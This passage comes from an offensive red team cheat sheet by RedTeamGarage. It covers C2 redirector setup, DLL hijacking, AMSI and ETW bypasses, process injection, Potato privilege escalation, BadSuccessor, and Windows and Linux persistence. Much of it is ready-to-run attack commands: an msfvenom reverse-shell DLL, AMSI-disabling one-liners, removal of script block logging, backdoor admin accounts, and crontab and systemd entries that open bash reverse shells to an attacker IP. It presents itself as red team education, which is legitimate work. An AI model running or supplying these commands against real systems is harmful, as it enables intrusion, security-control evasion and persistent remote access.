#     server_name c2.yourdomain.com;
#     ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
#
#     location /api/v1/update {
#         proxy_pass https://TEAMSERVER_IP:443;
#         proxy_ssl_verify off;
#     }
#     location / { return 404; }
# }

# C2 OPSEC Checklist:
# [+] Valid TLS cert from Let's Encrypt (not self-signed)
# [+] Domain age > 30 days + legitimate-looking categorization
# [+] Malleable profile mimics known-good apps (OneDrive, Teams)
# [+] Sleep jitter enabled – avoid NDR beaconing detection
# [+] Redirector in front – never expose teamserver IP directly
# [+] Domain fronting or CDN routing for added IP obfuscation
```



09 — SUPPLY CHAIN & ENDPOINT BYPASS

MITRE T1574.001 · T1218 · T1027 · T1562 — DLL Hijack · AMSI · ETW · EDR Evasion

Modern EDR solutions have made traditional payload delivery significantly harder. DLL hijacking, signed binary proxy execution, AMSI/ETW bypasses, and direct syscall-based shellcode loading remain the most reliable techniques for initial access and AV/EDR evasion.

9.1 DLL Hijacking (T1574.001)

\$ DLL Hijacking — Discovery + Exploitation

```
# Method 1: ProcMon (Sysinternals)
# Filter: Result=NAME NOT FOUND + Path ends with .dll
# Look for DLLs loaded from writable paths

# Method 2: PowerSploit automated search
PS C:\> Find-PathDLLHijack | Select-Object ModifiablePath,Name
PS C:\> Find-ProcessDLLHijack

# Craft malicious DLL — msfvenom
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444
-f dll -o missing.dll

# Cross-compile custom DLL with DllMain execution
$ x86_64-w64-mingw32-gcc -shared -o missing.dll source.c -lws2_32

# Drop DLL in hijack path — service/app restart triggers load
PS C:\> Copy-Item missing.dll 'C:\Program Files\VulnApp\missing.dll'

# Unquoted service path — place binary in path component
PS C:\> Get-ServiceUnquotedPath | Select-Object ServiceName,Path
```

9.2 AMSI + ETW Bypass

\$ AMSI Bypass + ETW Patching + CLM Bypass

```
# AMSI bypass — patch amsiInitFailed via reflection
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
    ForEach-Object{$_ .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}

# AMSI bypass — force corrupted context (alternative)
PS C:\> $a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
    $b=$a.GetField('amsiContext','NonPublic,Static').GetValue($null);
    [Runtime.InteropServices.Marshal]::WriteByte($b, 0x60, 0xEB)

# PSv2 — no AMSI, no CLM, no script block logging
PS C:\> powershell -version 2

# Disable Script Block Logging via registry
PS C:\> Remove-Item "HKLM:\SOFTWARE\Policies\Microsoft\Windows\
    PowerShell\ScriptBlockLogging" -Force

# ETW bypass — patch EtwEventWrite to return immediately
# Requires direct syscall or custom ntdll mapping to avoid hooks
```

9.3 Shellcode Delivery & Process Injection

\$ Donut + Direct Syscalls + Process Injection Techniques

```
# Donut – convert any .NET/EXE/DLL to shellcode
$ donut -i SharpHound.exe -o shellcode.bin -a 2 -f 1
$ donut -i Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /rc4opsec"

# Direct syscalls – bypass all userland EDR hooks
# Tools: SysWhispers2, SysWhispers3, HellsGate, FreshyCalls
# Compile with: syscalls.h + asm stubs → calls kernel directly

# Classic CreateRemoteThread injection
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx (MEM_COMMIT, PAGE_EXECUTE_READWRITE)
# 3. WriteProcessMemory (shellcode)
# 4. CreateRemoteThread (shellcode_addr)

# Process Hollowing – replace legitimate process memory
# 1. CreateProcess (suspended)
# 2. ZwUnmapViewOfSection (hollow out)
# 3. VirtualAllocEx + WriteProcessMemory (inject)
# 4. SetThreadContext + ResumeThread

# HTML Smuggling – bypass email gateway (T1566.001)
# JS decodes base64 payload and triggers download in browser
```

RTG TIP

EDR Evasion Tip: Combine multiple techniques — unhook ntdll.dll fresh from disk, use direct syscalls for allocation, and use a benign parent process (explorer.exe) for PPID spoofing. Avoid touching disk where possible — prefer in-memory loading.



10 — PRIVILEGE ESCALATION & PERSISTENCE

MITRE T1134 · T1543 · T1547 · T1484 — Potato · BadSuccessor · Sched. Tasks · WMI

After initial compromise, escalating privileges and establishing persistent access are critical to mission success. Windows offers numerous escalation vectors — token impersonation, service misconfigurations, scheduled tasks, and AD-specific techniques including the recent BadSuccessor dMSA escalation on Windows Server 2025.

10.1 Token Impersonation — Potato Attacks

\$ SeImpersonatePrivilege → SYSTEM via Potato Attacks

```
# Check token privileges – run immediately after shell
PS C:\> whoami /priv

# Key privileges for escalation:
# SeImpersonatePrivilege → Potato attacks → SYSTEM
# SeAssignPrimaryToken → Primary token assignment → SYSTEM
# SeDebugPrivilege → Inject into SYSTEM processes
# SeTakeOwnership → Own any object on the system
# SeBackupPrivilege → Read any file including SAM + NTDS.dit

# GodPotato – works on Windows 8 through Server 2022
PS C:\> .\GodPotato.exe -cmd 'cmd /c whoami'
PS C:\> .\GodPotato.exe -cmd 'cmd /c net user rtg RTG@2024! /add'
PS C:\> .\GodPotato.exe -cmd 'cmd /c net localgroup administrators rtg /add'

# PrintSpoofer – named pipe impersonation
PS C:\> .\PrintSpoofer.exe -i -c cmd.exe

# SweetPotato – EfsRpc / DCOM variants
PS C:\> .\SweetPotato.exe -e EfsRpc -p cmd.exe -a '/c whoami'
```

10.2 BadSuccessor — dMSA Escalation (Windows Server 2025)

CRITICAL

CRITICAL: BadSuccessor affects Windows Server 2025 delegated Managed Service Accounts (dMSA). Any user with CreateChild rights on an OU can create a dMSA that inherits permissions of ANY domain account — including Domain Admins — without any additional privileges required. See the dedicated RTG BadSuccessor guide for full step-by-step exploitation.

\$ BadSuccessor — Discovery + Exploitation Check

```
# Step 1: Verify Windows Server 2025 DCs exist
PS C:\> Get-ADDomainController -Filter * | Where DomainControllerVersion -Match '2025'

# Step 2: Find users with CreateChild on OUs
PS C:\> Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs |
    Where-Object {$_.ActiveDirectoryRights -match 'CreateChild' -and
        $_.AceType -eq 'AccessAllowed'} | Select SecurityIdentifier,ObjectDN

# Exploitation steps (requires CreateChild on OU):
# 1. Create dMSA in controlled OU
# 2. Set msDS-ManagedAccountPrecededByLink → target DA account DN
# 3. dMSA inherits ALL permissions of the DA account
# 4. Retrieve dMSA password via LDAP → authenticate as effective DA

# PoC: https://github.com/akamai/BadSuccessor
```

10.3 Windows Persistence Mechanisms

\$ Registry · Scheduled Tasks · WMI Subscriptions · Services

```
# Registry Run Key (T1547.001) – persists at user logon
PS C:\> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
    /v WindowsUpdate /t REG_SZ /d "C:\Temp\beacon.exe" /f

# HKLM requires admin but triggers at all logons
PS C:\> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
    /v WindowsDefender /t REG_SZ /d "C:\ProgramData\beacon.exe" /f

# Scheduled Task (T1053.005) – runs as SYSTEM
PS C:\> schtasks /create /tn 'MicrosoftEdgeUpdate' /tr 'C:\Temp\beacon.exe'
    /sc daily /st 09:00 /ru SYSTEM /f
PS C:\> Register-ScheduledTask -TaskName 'Updater' -Action
    (New-ScheduledTaskAction -Execute 'C:\Temp\beacon.exe')
    -Trigger (New-ScheduledTaskTrigger -AtLogOn) -RunLevel Highest -Force

# New local admin account
PS C:\> net user rtghacker RTG@2024! /add
PS C:\> net localgroup Administrators rtghacker /add
PS C:\> net localgroup "Remote Desktop Users" rtghacker /add

# Golden Ticket persistence – valid until krbtgt double-reset
PS C:\> .\Rubeus.exe dump /luid:<LUID> /service:krbtgt /nowrap
# Store .kirbi offline – import on demand even after normal PW resets
```

10.4 Linux Persistence (Hybrid Networks)

\$ Linux Persistence — SSH Keys · Crontab · Systemd · LD_PRELOAD

```
# SSH authorized key persistence (most reliable)
$ mkdir -p ~/.ssh && chmod 700 ~/.ssh
$ echo "SSH_PUBLIC_KEY" >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys
# Connect silently: ssh -i /tmp/rtg_backdoor user@target_ip

# Crontab persistence (user-level)
$ (crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")
| crontab -

# Systemd service (requires root)
$ cat > /etc/systemd/system/rtg-update.service << EOF
[Unit] Description=RTG Update Service
[Service] ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Restart=always RestartSec=60
[Install] WantedBy=multi-user.target
EOF
$ systemctl enable rtg-update.service && systemctl start rtg-update.service
```



MITRE ATT&CK MAPPING — QUICK REFERENCE

All 10 attack areas mapped to ATT&CK techniques and tooling

Area	Technique ID	Technique Name	Primary Tool(s)
01 AD	T1558.003	Kerberoasting	Rubeus, GetUserSPNs.py
01 AD	T1558.004	AS-REP Roasting	Rubeus, GetNPUsers.py
01 AD	T1003.006	OS Credential Dumping: DCSync	secretsdump.py, Mimikatz
01 AD	T1484.001	Group Policy Modification	PowerView, StandIn
02 ADCS	T1649	Steal / Forge Authentication Certificates	Certipy, Certify.exe
02 ADCS	T1552.004	Unsecured Credentials: Private Keys	PyWhisker, Certipy shadow
03 Creds	T1003.001	LSASS Memory	Mimikatz, Nanodump, comsvcs
03 Creds	T1555	Credentials from Password Stores	LaZagne, SharpDPAPI, SharpChrome
04 LM	T1021.002	Remote Services: SMB/Windows Admin Shares	psexec.py, CME
04 LM	T1047	Windows Management Instrumentation	wmiexec.py, Invoke-WMI
04 LM	T1021.006	Remote Services: WinRM	Evil-WinRM, Invoke-Command
05 Kerb	T1558.001	Steal or Forge Kerberos Tickets: Golden	Mimikatz, ticketer.py, Rubeus
05 Kerb	T1558.002	Steal or Forge Kerberos Tickets: Silver	Mimikatz, Rubeus
06 Net	T1557.001	LLMNR/NBT-NS Poisoning & SMB Relay	Responder, ntlmrelayx
06 Net	T1557.003	DHCP Spoofing	mitm6, ntlmrelayx
07 Cloud	T1078.004	Valid Accounts: Cloud Accounts	ROADtools, AADInternals
07 Cloud	T1552.005	Cloud Instance Metadata API	curl 169.254.169.254, aws cli
08 C2	T1071.001	Application Layer Protocol: Web Protocols	Cobalt Strike, Sliver, Havoc
08 C2	T1071.004	Application Layer Protocol: DNS	Sliver DNS, DNScat2
09 Evade	T1574.001	Hijack Execution Flow: DLL Side-Loading	Custom DLLs, ProcMon
09 Evade	T1218	System Binary Proxy Execution	regsvr32, mshta, rundll32, msixexec
10 Privesc	T1134	Access Token Manipulation	GodPotato, PrintSpoofer, Incognito
10 Persist	T1547.001	Boot or Logon Autostart: Registry Run Keys	reg.exe, PowerShell
10 Persist	T1053.005	Scheduled Task/Job: Scheduled Task	schtasks.exe, PowerShell



RTG TOOLS QUICK REFERENCE

Essential offensive toolkit for enterprise red team engagements

Tool	Category	Platform	Purpose & Key Features
BloodHound + SharpHound	AD Recon	Win/Linux	AD attack path mapping via graph analysis
Impacket Suite	Multi	Linux	DCSync, NTLM relay, exec, ticket, secretsdump
Rubeus	Kerberos	Windows	All Kerberos attacks — roasting, tickets, S4U
Certipy	ADCS	Linux	Full ADCS attack suite — ESC1 through ESC8
Certify.exe	ADCS	Windows	ADCS template enum + certificate requests
Mimikatz	Cred Theft	Windows	LSASS dump, pass-the-hash, DCSync, DPAPI
Nanodump	Cred Theft	Windows	EDR-safe encrypted LSASS dump (fork/duplicate)
PyWhisker	ADCS	Linux	Shadow credentials via msDS-KeyCredentialLink
CrackMapExec	Lateral Mov	Linux	SMB/WMI/LDAP spray + execution + post-ex modules
Evil-WinRM	Lateral Mov	Linux	WinRM shell with file upload/download + scripts
Responder	Network	Linux	LLMNR/NBT-NS/MDNS/HTTP poisoning + hashes
ntlmrelayx	Network	Linux	NTLM relay to SMB/LDAP/HTTP/ADCS endpoints
mitm6	Network	Linux	IPv6 DHCPv6 + DNS takeover for relay attacks
Sliver	C2	Cross-plat form	Open source C2 — HTTP/S, DNS, mTLS, WireGuard
Cobalt Strike	C2	Cross-plat form	Commercial C2 — Malleable C2 profiles
Havoc	C2	Cross-plat form	Open source — Demon agents, modern evasion
AADInternals	Cloud	Windows PS	Azure AD / M365 attack and abuse framework
ROADtools	Cloud	Linux	Azure AD enumeration + BloodHound-style visualization
PowerView	AD Recon	Windows PS	AD enumeration, ACL abuse, trust analysis
GodPotato	Privesc	Windows	SeImpersonate → SYSTEM (all Windows versions)
Donut	Evasion	Cross-plat form	Convert .NET/EXE/DLL to shellcode (PIC)
SysWhispers3	Evasion	Windows	Direct syscall stubs — bypass EDR userland hooks



RED TEAM ENGAGEMENT METHODOLOGY

Five-phase enterprise adversary simulation framework

PHASE 1 — RECONNAISSANCE & INITIAL ACCESS

- ◆ External OSINT: LinkedIn, GitHub, Shodan, Censys, ASN mapping, subdomain enumeration
- ◆ Initial access vectors: spear phishing (HTML smuggling, macro delivery), password spray (O365/VPN), exposed services
- ◆ Tools: Amass, theHarvester, EyeWitness, Gowitness, BloodHound.py (if network access)

PHASE 2 — POST-EXPLOITATION & INTERNAL RECON

- ◆ C2 beacon deployed, situational awareness: whoami, ipconfig, AV/EDR detection, PS version
- ◆ AD recon: SharpHound collection, PowerView enumeration, ldapdomaindump, ADCS enum with Certipy
- ◆ Network discovery: internal subnet scan, key service identification (DC, ADCS, AADConnect, Exchange)

PHASE 3 — PRIVILEGE ESCALATION

- ◆ Local privesc: Selpersonate (Potato attacks), service misconfigs, UAC bypass, LOLBins
- ◆ AD escalation: Kerberoasting, AS-REP roasting, ACL abuse, ADCS ESC exploitation, delegation
- ◆ Domain escalation: DCSync, Golden Ticket, DA group membership, RBCD chain

PHASE 4 — LATERAL MOVEMENT & IMPACT DEMONSTRATION

- ◆ Lateral movement: Pass-the-Hash, Pass-the-Ticket, WMI/WinRM/SMB-based execution
- ◆ Target systems: DC, ADCS server, file servers, email (Exchange/M365), databases, AADConnect
- ◆ Impact proof: data access, domain dominance (krbtgt hash), cloud access demonstration

PHASE 5 — PERSISTENCE & REPORTING

- ◆ Persistence: registry run keys, scheduled tasks, WMI subscriptions, SSH keys, Golden Tickets
- ◆ Evidence collection: timestamped screenshots, loot files, full attack path timeline
- ◆ Cleanup: remove artifacts, restore modified ACLs/templates, document all changes made



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.

Official Website: <https://www.redteamgarage.com/>

Telegram: <https://t.me/redteamgarage>

LinkedIn: <https://www.linkedin.com/company/redteamgarage-rtg>

RTG MISSION:

Democratize offensive security education — free, practical, no-nonsense.

Build the most comprehensive red team technique library available anywhere.